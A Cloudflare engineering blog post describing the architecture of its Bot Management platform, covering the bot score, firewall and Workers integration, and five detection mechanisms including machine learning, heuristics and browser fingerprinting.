    <p><a href="https://www.cloudflare.com/learning/bots/what-is-a-bot/"><b>Bot</b></a> - an autonomous program on a network that can interact with computer systems or users, imitating or replacing a human user's behavior, performing repetitive tasks much faster than human users could.</p><p><b>Good bots</b> - bots which are useful to businesses they interact with, e.g. <a href="https://www.cloudflare.com/learning/bots/what-is-a-web-crawler/">search engine bots</a> like Googlebot, Bingbot or bots that operate on social media platforms like Facebook Bot.</p><p><b>Bad bots</b> - bots which are designed to perform malicious actions, ultimately hurting businesses, e.g. <a href="https://www.cloudflare.com/learning/bots/what-is-credential-stuffing/">credential stuffing</a> bots, <a href="https://www.cloudflare.com/learning/bots/what-is-data-scraping/">third-party scraping</a> bots, <a href="https://www.cloudflare.com/learning/bots/what-is-a-spambot/">spam</a> bots and sneakerbots.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5nwyutK4DVA1cjsfMY8ore/fd2ebf6ec92ec7795ea423f4e7d61713/image12.png" />
            
            </figure><p><a href="https://www.cloudflare.com/learning/bots/what-is-bot-management/"><b>Bot Management</b></a> - blocking undesired or malicious Internet bot traffic while still allowing useful bots to access web properties by detecting bot activity, discerning between desirable and undesirable bot behavior, and identifying the sources of the undesirable activity.</p><p><a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/"><b>WAF</b></a> - a security system that monitors and controls network traffic based on a set of security rules.</p>
    <div>
      <h3>Gathering requirements</h3>
      <a href="#gathering-requirements">
        
      </a>
    </div>
    <p>Cloudflare has been stopping malicious bots from accessing websites or misusing <a href="https://www.cloudflare.com/learning/security/api/what-is-an-api/">APIs</a> from the very <a href="/cloudflare-uses-intelligent-caching-to-avoid/">beginning</a>, at the same time <a href="/cleaning-up-bad-bots/">helping the climate</a> by offsetting the carbon costs from the bots. Over time it became clear that we needed a dedicated platform which would unite different bot fighting techniques and streamline the customer experience. In designing this new platform, we tried to fulfill the following key requirements.</p><ul><li><p><b>Complete, not complex</b> - customers can turn on/off Bot Management with a single click of a button, to protect their websites, mobile applications, or <a href="https://www.cloudflare.com/application-services/solutions/api-security/">APIs</a>.</p></li><li><p><b>Trustworthy</b> - customers want to know whether they can trust the website visitor is who they say they are and provide a certainty indicator for that trust level.</p></li><li><p><b>Flexible</b> - customers should be able to define what subset of the traffic Bot Management mitigations should be applied to, e.g. only login URLs, pricing pages or sitewide.</p></li><li><p><b>Accurate</b> - Bot Management detections should have a very small error, e.g. none or very few human visitors ever should be mistakenly identified as bots.</p></li><li><p><b>Recoverable</b> - in case a wrong prediction was made, human visitors still should be able to access websites as well as good bots being let through.</p></li></ul><p>Moreover, the goal for new Bot Management product was to make it work well on the following use cases:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5z0o8rXLkecZWUhx1UDRHF/78e1e55cc47dac3d8bb58ac274870387/image8.png" />
            
            </figure>
    <div>
      <h3>Technical requirements</h3>
      <a href="#technical-requirements">
        
      </a>
    </div>
    <p>Additionally, to the product requirements above, we engineers had a list of must-haves for the new Bot Management platform. The most critical were:</p><ul><li><p><b>Scalability</b> - the platform should be able to calculate a score on every request, even at over 10 million requests per second.</p></li><li><p><b>Low latency</b> - detections must be performed extremely quickly, not slowing down request processing by more than 100 microseconds, and not requiring additional hardware.</p></li><li><p><b>Configurability</b> - it should be possible to configure what detections are applied on what traffic, including on per domain/data center/server level.</p></li><li><p><b>Modifiability</b> - the platform should be easily extensible with more detection mechanisms, different mitigation actions, richer analytics and logs.</p></li><li><p><b>Security</b> - no sensitive information from one customer should be used to build models that protect another customer.</p></li><li><p><b>Explainability &amp; debuggability</b> - we should be able to explain and tune predictions in an intuitive way.</p></li></ul><p>Equipped with these requirements, back in 2018, our small team of engineers got to work to design and build the next generation of Cloudflare Bot Management.</p>
    <div>
      <h3>Meet the Score</h3>
      <a href="#meet-the-score">
        
      </a>
    </div>
    <blockquote><p><i>“Simplicity is the ultimate sophistication.”- Leonardo Da Vinci</i></p></blockquote><p>Cloudflare operates on a vast scale. At the time of this writing, this means covering 26M+ Internet properties, processing on average 11M requests per second (with peaks over 14M), and examining more than 250 request attributes from different protocol levels. The key question is how to harness the power of such “gargantuan” data to <a href="https://www.cloudflare.com/products/zero-trust/threat-defense/">protect all of our customers from modern day cyberthreats</a> in a simple, reliable and explainable way?</p><p>Bot management is hard. Some bots are much harder to detect and require looking at multiple dimensions of request attributes over a long time, and sometimes a single request attribute could give them away. More signals may help, but are they generalizable?</p><p>When we classify traffic, should customers decide what to do with it or are there decisions we can make on behalf of the customer? What concept could possibly address all these uncertainty problems and also help us to deliver on the requirements from above?</p><p>As you might’ve guessed from the section title, we came up with the concept of Trusted Score or simply <b>The Score</b> <i>-</i> one thing to rule them all - indicating the likelihood between 0 and 100 whether a request originated from a human (high score) vs. an automated program (low score).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3caFJFhAGnz4989GtGg5s4/c03d3fd90168d7d35f79dcc547912db7/image5-1.jpg" />
            
            </figure><p><a href="https://www.flickr.com/photos/purple-lover/13583362554">"One Ring to rule them all"</a> by idreamlikecrazy, used under <a href="https://creativecommons.org/licenses/by/2.0/">CC BY</a> / Desaturated from original</p><p>Okay, let’s imagine that we are able to assign such a score on every incoming HTTP/HTTPS request, what are we or the customer supposed to do with it? Maybe it’s enough to provide such a score in the logs. Customers could then analyze them on their end, find the most frequent IPs with the lowest scores, and then use the <a href="https://www.cloudflare.com/application-services/products/waf/">Cloudflare Firewall</a> to block those IPs. Although useful, such a process would be manual, prone to error and most importantly cannot be done in real time to protect the customer's Internet property.</p><p>Fortunately, around the same time we started worked on this system , our colleagues from the Firewall team had <a href="/announcing-firewall-rules/">just announced Firewall Rules</a>. This new capability provided customers the ability to control requests in a flexible and intuitive way, inspired by the widely known Wireshark®  language. Firewall rules supported a variety of request fields, and we thought - why not have the score be one of these fields? Customers could then write granular rules to block very specific attack types. That’s how the <code>cf.bot_management.score</code> field was born.</p><p>Having a score in the heart of Cloudflare Bot Management addressed multiple product and technical requirements with one strike - it’s simple, flexible, configurable, and it provides customers with telemetry about bots on a per request basis. Customers can adjust the score threshold in firewall rules, depending on their sensitivity to false positives/negatives. Additionally, this intuitive score allows us to extend our detection capabilities under the hood without customers needing to adjust any configuration.</p><p>So how can we produce this score and how hard is it? Let’s explore it in the following section.</p>
    <div>
      <h3>Architecture overview</h3>
      <a href="#architecture-overview">
        
      </a>
    </div>
    <p>What is powering the Bot Management score? The short answer is a set of <a href="https://www.cloudflare.com/learning/serverless/glossary/serverless-microservice/">microservices</a>. Building this platform we tried to re-use as many pipelines, databases and components as we could, however many services had to be built from scratch. Let’s have a look at overall architecture (this overly simplified version contains Bot Management related services):</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5OSC0Ty0XKfbmw651kO9bQ/ebfbf8204161f3db6622291ddb7e4721/image13.png" />
            
            </figure>
    <div>
      <h3>Core Bot Management services</h3>
      <a href="#core-bot-management-services">
        
      </a>
    </div>
    <p>In a nutshell our systems process data received from the edge data centers, produce and store data required for bot detection mechanisms using the following technologies:</p><ul><li><p><b>Databases &amp; data stores</b> - <a href="/squeezing-the-firehose/">Kafka</a>, <a href="/http-analytics-for-6m-requests-per-second-using-clickhouse/">ClickHouse</a>, Postgres, Redis, Ceph.</p></li><li><p><b>Programming languages</b> - Go, Rust, Python, Java, Bash.</p></li><li><p><b>Configuration &amp; schema management</b> - Salt, <a href="/introducing-quicksilver-configuration-distribution-at-internet-scale/">Quicksilver</a>, <a href="https://capnproto.org/">Cap’n Proto</a>.</p></li><li><p><b>Containerization</b> - Docker, Kubernetes, Helm, Mesos/Marathon.</p></li></ul><p>Each of these services is built with resilience, performance, <a href="https://www.cloudflare.com/learning/performance/what-is-observability/">observability</a> and security in mind.</p>
    <div>
      <h3>Edge Bot Management module</h3>
      <a href="#edge-bot-management-module">
        
      </a>
    </div>
    <p>All bot detection mechanisms are applied on every request in real-time during the request processing stage in the Bot Management module running on every machine at Cloudflare’s edge locations. When a request comes in we extract and transform the required request attributes and feed them to our detection mechanisms. The Bot Management module produces the following output:</p><p><b>Firewall fields</b> - <a href="https://support.cloudflare.com/hc/en-us/articles/360027519452-Understanding-Cloudflare-Bot-Management">Bot Management fields</a>- <b>cf.bot_management.score</b> - an integer indicating the likelihood between 0 and 100 whether a request originated from an automated program (low score) to a human (high score).- <b>cf.bot_management.verified_bot</b> - a boolean indicating whether such request comes from a Cloudflare allowlisted bot.- <b>cf.bot_management.static_resource</b> - a boolean indicating whether request matches file extensions for many types of static resources.</p><p><b>Cookies</b> - most notably it produces <a href="https://community.cloudflare.com/t/cf-bm-cookie/56696"><b>cf_bm</b></a>, which helps manage incoming traffic that matches criteria associated with bots.</p><p><b>JS challenges</b> - for some of our detections and customers we inject into invisible JavaScript challenges, providing us with more signals for bot detection.</p><p><b>Detection logs</b> - we log through our data pipelines to ClickHouse details about each applied detection, used features and flags, some of which are used for analytics and customer logs, while others are used to debug and improve our models.</p><p>Once the Bot Management module has produced the required fields, the Firewall takes over the actual bot mitigation.</p>
    <div>
      <h3>Firewall integration</h3>
      <a href="#firewall-integration">
        
      </a>
    </div>
    <p>The Cloudflare Firewall's intuitive dashboard enables users to build powerful rules through easy clicks and also provides Terraform integration. Every request to the firewall is inspected against the rule engine. Suspicious requests can be blocked, challenged or logged as per the needs of the user while legitimate requests are routed to the destination, based on the score produced by the Bot Management module and the configured threshold.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5oSiddu0b8BknoqrAQfCYV/3c6c1e456a6d5dedae0e7e50ac7cf346/image6.png" />
            
            </figure><p>Firewall rules provide the following bot mitigation <a href="https://developers.cloudflare.com/firewall/cf-firewall-rules/actions/">actions</a>:</p><ul><li><p><b>Log</b> - records matching requests in the Cloudflare Logs provided to customers.</p></li><li><p><b>Bypass</b> - allows customers to dynamically disable Cloudflare security features for a request.</p></li><li><p><b>Allow</b> - matching requests are exempt from challenge and block actions triggered by other Firewall Rules content.</p></li><li><p><b>Challenge (Captcha)</b> - useful for ensuring that the visitor accessing the site is human, and not automated.</p></li><li><p><b>JS Challenge</b> - useful for ensuring that bots and spam cannot access the requested resource; browsers, however, are free to satisfy the challenge automatically.</p></li><li><p><b>Block</b> - matching requests are denied access to the site.</p></li></ul><p>Our <a href="/updates-to-firewall-analytics/">Firewall Analytics</a> tool, powered by ClickHouse and <a href="/introducing-the-graphql-analytics-api-exactly-the-data-you-need-all-in-one-place/">GraphQL API</a>, enables customers to quickly identify and investigate security threats using an intuitive interface. In addition to analytics, we provide detailed logs on all bots-related activity using either the <a href="https://developers.cloudflare.com/logs/logpull-api/">Logpull API</a> and/or <a href="/cloudflare-logpush-the-easy-way-to-get-your-logs-to-your-cloud-storage/">LogPush</a>, which provides the easy way to get your logs to your cloud storage.</p>
    <div>
      <h3>Cloudflare Workers integration</h3>
      <a href="#cloudflare-workers-integration">
        
      </a>
    </div>
    <p>In case a customer wants more flexibility on what to do with the requests based on the score, e.g. they might want to inject new, or change existing, HTML page content, or serve incorrect data to the bots, or stall certain requests, <a href="https://www.cloudflare.com/developer-platform/workers/">Cloudflare Workers</a> provide an option to do that. For example, using this small code-snippet, we can pass the score back to the origin server for more advanced real-time analysis or mitigation:</p>
            <pre><code>addEventListener('fetch', event =&gt; {
  event.respondWith(handleRequest(event.request))
})
 
async function handleRequest(request) {
  request = new Request(request);
 
  request.headers.set("Cf-Bot-Score", request.cf.bot_management.score)
 
  return fetch(request);
}</code></pre>
            <p>Now let’s have a look into how a single score is produced using multiple detection mechanisms.</p>
    <div>
      <h3>Detection mechanisms</h3>
      <a href="#detection-mechanisms">
        
      </a>
    </div>
    
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3avrETqHNSco30pzXKi2Bi/d83a61d9a294c2f96ed8ae3101fc8839/image10.png" />
            
            </figure><p>The Cloudflare Bot Management platform currently uses five complementary detection mechanisms, producing their own scores, which we combine to form the single score going to the Firewall. Most of the detection mechanisms are applied on every request, while some are enabled on a per-customer basis to better fit their needs.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6kznWqiXGLzyUvqGbNgrco/3d3d777f8b268bcda1b319c841a518e9/image14.png" />
            
            </figure>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2SlwP5FY8XUmzYUGbIne0n/f589b67119defdc46d4b80762f81d3f4/image4-1.png" />
            
            </figure><p>Having a score on every request for every customer has the following benefits:</p><ul><li><p><b>Ease of onboarding</b> - even before we enable Bot Management in active mode, we’re able to tell how well it’s going to work for the specific customer, including providing historical trends about bot activity.</p></li><li><p><b>Feedback loop</b> - availability of the score on every request along with all features has tremendous value for continuous improvement of our detection mechanisms.</p></li><li><p><b>Ensures scaling</b> - if we can compute for score every request and customer, it means that every Internet property behind Cloudflare is a potential Bot Management customer.</p></li><li><p><b>Global bot insights</b> - Cloudflare is sitting in front of more than 26M+ Internet properties, which allows us to understand and react to the tectonic shifts happening in security and threat intelligence over time.</p></li></ul><p>Overall globally, more than third of the Internet traffic visible to Cloudflare is coming from bad bots, while Bot Management customers have the ratio of bad bots even higher at ~43%!</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/18xm3tKE1ir3wbIDSb1oet/8c7675efd856354dd50648b001662839/image7.png" />
            
            </figure>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/79Mscr2mfcUGezTFmVG5nM/0bb09659f0707e84b8f8a15b52ba7af4/image9.png" />
            
            </figure><p>Let’s dive into specific detection mechanisms in chronological order of their integration with Cloudflare Bot Management.</p>
    <div>
      <h3>Machine learning</h3>
      <a href="#machine-learning">
        
      </a>
    </div>
    <p>The majority of decisions about the score are made using our machine learning models. These were also the first detection mechanisms to produce a score and to on-board customers back in 2018. The successful application of <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning</a> requires data high in <a href="/stop-the-bots-practical-lessons-in-machine-learning/">Quantity, Diversity, and Quality</a>, and thanks to both free and paid customers, Cloudflare has all three, enabling continuous learning and improvement of our models for all of our customers.</p><p>At the core of the machine learning detection mechanism is CatBoost  - a high-performance open source library for gradient boosting on decision trees. The choice of CatBoost was driven by the library’s outstanding capabilities:</p><ul><li><p><b>Categorical features support</b> - allowing us to train on even very high cardinality features.</p></li><li><p><b>Superior accuracy</b> - allowing us to reduce overfitting by using a novel gradient-boosting scheme.</p></li><li><p><b>Inference speed</b> - in our case it takes less than 50 microseconds to apply any of our models, making sure request processing stays extremely fast.</p></li><li><p><b>C and Rust API</b> - most of our business logic on the edge is written using Lua, more specifically LuaJIT, so having a compatible FFI interface to be able to apply models is fantastic.</p></li></ul><p>There are multiple CatBoost models run on Cloudflare’s Edge in the <a href="https://christophergs.com/machine%20learning/2019/03/30/deploying-machine-learning-applications-in-shadow-mode/#what">shadow mode</a> on <i>every request on every machine</i>. One of the models is run in active mode, which influences the final score going to Firewall. All ML detection results and features are logged and recorded in ClickHouse for further analysis, model improvement, analytics and customer facing logs. We feed both categorical and numerical features into our models, extracted from request attributes and inter-request features built using those attributes, calculated and delivered by the <i>Gagarin</i> inter-requests features platform.</p><p>We’re able to deploy new ML models in a matter of seconds using an extremely reliable and performant <a href="/introducing-quicksilver-configuration-distribution-at-internet-scale/">Quicksilver</a> configuration database. The same mechanism can be used to configure which version of an ML model should be run in active mode for a specific customer.</p><p>A deep dive into our machine learning detection mechanism deserves a blog post of its own and it will cover how do we train and validate our models on trillions of requests using GPUs, how model feature delivery and extraction works, and how we explain and debug model predictions both internally and externally.</p>
    <div>
      <h3>Heuristics engine</h3>
      <a href="#heuristics-engine">
        
      </a>
    </div>
    <p>Not all problems in the world are the best solved with machine learning. We can tweak the ML models in various ways, but in certain cases they will likely underperform basic heuristics. Often the problems machine learning is trying to solve are not entirely new. When building the Bot Management solution it became apparent that sometimes a single attribute of the request could give a bot away. This means that we can create a bunch of simple rules capturing bots in a straightforward way, while also ensuring lowest false positives.</p><p>The heuristics engine was the second detection mechanism integrated into the Cloudflare Bot Management platform in 2019 and it’s also applied on every request. We have multiple heuristic types and hundreds of specific rules based on certain attributes of the request, some of which are very hard to spoof. When any of the requests matches any of the heuristics - we assign the lowest possible score of 1.</p><p>The engine has the following properties:</p><ul><li><p><b>Speed</b> - if ML model inference takes less than 50 microseconds per model, hundreds of heuristics can be applied just under 20 microseconds!</p></li><li><p><b>Deployability</b> - the heuristics engine allows us to add new heuristic in a matter of seconds using <a href="/introducing-quicksilver-configuration-distribution-at-internet-scale/">Quicksilver</a>, and it will be applied on every request.</p></li><li><p><b>Vast coverage</b> - using a set of simple heuristics allows us to classify ~15% of global traffic and ~30% of Bot Management customers’ traffic as bots. Not too bad for a few if conditions, right?</p></li><li><p><b>Lowest false positives</b> - because we’re very sure and conservative on the heuristics we add, this detection mechanism has the lowest FP rate among all detection mechanisms.</p></li><li><p><b>Labels</b> <b>for ML</b> - because of the high certainty we use requests classified with heuristics to train our ML models, which then can generalize behavior learnt from from heuristics and improve detections accuracy.</p></li></ul><p>So heuristics gave us <a href="https://developers.google.com/machine-learning/guides/rules-of-ml#rule_7_turn_heuristics_into_features_or_handle_them_externally">a lift when tweaked with machine learning</a> and they contained a lot of the intuition about the bots, which helped to advance the Cloudflare Bot Management platform and allowed us to onboard more customers.</p>
    <div>
      <h3>Behavioral analysis</h3>
      <a href="#behavioral-analysis">
        
      </a>
    </div>
    <p>Machine learning and heuristics detections provide tremendous value, but both of them require human input on the labels, or basically a teacher to distinguish between right and wrong. While our supervised ML models can generalize well enough even on novel threats similar to what we taught them on, we decided to go further. What if there was an approach which doesn’t require a teacher, but rather can learn to distinguish bad behavior from the normal behavior?</p><p>Enter the behavioral analysis detection mechanism, initially developed in 2018 and integrated with the Bot Management platform in 2019. This is an unsupervised machine learning approach, which has the following properties:</p><ul><li><p><b>Fitting specific customer needs</b> - it’s automatically enabled for all Bot Management customers, calculating and analyzing normal visitor behavior over an extended period of time.</p></li><li><p><b>Detects bots never seen before</b> - as it doesn’t use known bot labels, it can detect bots and anomalies from the normal behavior on specific customer’s website.</p></li><li><p><b>Harder to evade</b> - anomalous behavior is often a direct result of the bot’s specific goal.</p></li></ul><p>Please stay tuned for a more detailed blog about behavioral analysis models and the platform powering this incredible detection mechanism, protecting many of our customers from unseen attacks.</p>
    <div>
      <h3>Verified bots</h3>
      <a href="#verified-bots">
        
      </a>
    </div>
    <p>So far we’ve discussed how to detect bad bots and humans. What about good bots, some of which are extremely useful for the customer website? Is there a need for a dedicated detection mechanism or is there something we could use from previously described detection mechanisms? While the majority of good bot requests (e.g. Googlebot, Bingbot, LinkedInbot) already have low score produced by other detection mechanisms, we also need a way to avoid accidental blocks of useful bots. That’s how the Firewall field <i>cf.bot_management.verified_bot</i> came into existence in 2019, allowing customers to decide for themselves whether they want to let all of the good bots through or restrict access to certain parts of the website.</p><p>The actual platform calculating Verified Bot flag deserves a detailed blog on its own, but in the nutshell it has the following properties:</p><ul><li><p><b>Validator based approach</b> - we support multiple validation mechanisms, each of them allowing us to reliably confirm good bot identity by clustering a set of IPs.</p></li><li><p><b>Reverse DNS validator</b> - performs a reverse DNS check to determine whether or not a bots IP address matches its alleged hostname.</p></li><li><p><b>ASN Block validator</b> - similar to rDNS check, but performed on ASN block.</p></li><li><p><b>Downloader validator</b> - collects good bot IPs from either text files or HTML pages hosted on bot owner sites.</p></li><li><p><b>Machine learning validator</b> - uses an unsupervised learning algorithm, clustering good bot IPs which are not possible to validate through other means.</p></li><li><p><b>Bots Directory</b> - a database with UI that stores and manages bots that pass through the Cloudflare network.</p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7ENyHN774m5EVfRIQpQzXO/d5d8127a3235fc8f26eb44b2de2a3919/image2-1.png" />
            
            </figure><p>Bots directory UI sample‌‌</p><p>Using multiple validation methods listed above, the Verified Bots detection mechanism identifies hundreds of unique good bot identities, belonging to different companies and categories.</p>
    <div>
      <h3>JS fingerprinting</h3>
      <a href="#js-fingerprinting">
        
      </a>
    </div>
    <p>When it comes to Bot Management detection quality it’s all about the signal quality and quantity. All previously described detections use request attributes sent over the network and analyzed on the server side using different techniques. Are there more signals available, which can be extracted from the client to improve our detections?</p><p>As a matter of fact there are plenty, as every browser has unique implementation quirks. Every web browser graphics output such as canvas depends on multiple layers such as hardware (GPU) and software (drivers, operating system rendering). This highly unique output allows precise differentiation between different browser/device types. Moreover, this is achievable without sacrificing website visitor privacy as it’s not a supercookie, and it cannot be used to track and identify individual users, but only to confirm that request’s user agent matches other telemetry gathered through browser canvas API.</p><p>This detection mechanism is implemented as a challenge-response system with challenge injected into the webpage on Cloudflare’s edge. The challenge is then rendered in the background using provided graphic instructions and the result sent back to Cloudflare for validation and further action such as  producing the score. There is a lot going on behind the scenes to make sure we get reliable results without sacrificing users’ privacy while being tamper resistant to replay attacks. The system is currently in private beta and being evaluated for its effectiveness and we already see very promising results. Stay tuned for this new detection mechanism becoming widely available and the blog on how we’ve built it.</p><p>This concludes an overview of the five detection mechanisms we’ve built so far. It’s time to sum it all up!</p>
    <div>
      <h3>Summary</h3>
      <a href="#summary">
        
      </a>
    </div>
    <p>Cloudflare has the unique ability to collect data from trillions of requests flowing through its network every week. With this data, Cloudflare is able to identify likely bot activity with Machine Learning, Heuristics, Behavioral Analysis, and other detection mechanisms. Cloudflare Bot Management integrates seamlessly with other Cloudflare products, such as WAF  and Workers.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7thZNko18uGAk7PKwxuG8s/1baf723065de6b686c81d139fbaa0163/image1-1.png" />
            
            </figure><p>All this could not be possible without hard work across multiple teams! First of all thanks to everybody on the Bots Team for their tremendous efforts to make this platform come to life. Other Cloudflare teams, most notably: Firewall, Data, Solutions Engineering, Performance, SRE, helped us a lot to design, build and support this incredible platform.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3ox1rh9KPNDIy5h37liIEO/eadc3dc802b748ccc9279bc01b89b508/image11-1.jpg" />
            
            </figure><p>Bots team during Austin team summit 2019 hunting bots with axes :)</p><p>Lastly, there are more blogs from the Bots series coming soon, diving into internals of our detection mechanisms, so stay tuned for more exciting stories about Cloudflare Bot Management!</p> ]]></content:encoded>
            <category><![CDATA[Deep Dive]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[Bots]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Firewall]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Salt]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <guid isPermaLink="false">5yHu3o1Z2Z1reLsRB0q026</guid>
            <dc:creator>Alex Bocharov</dc:creator>
        </item>
    </channel>
</rss>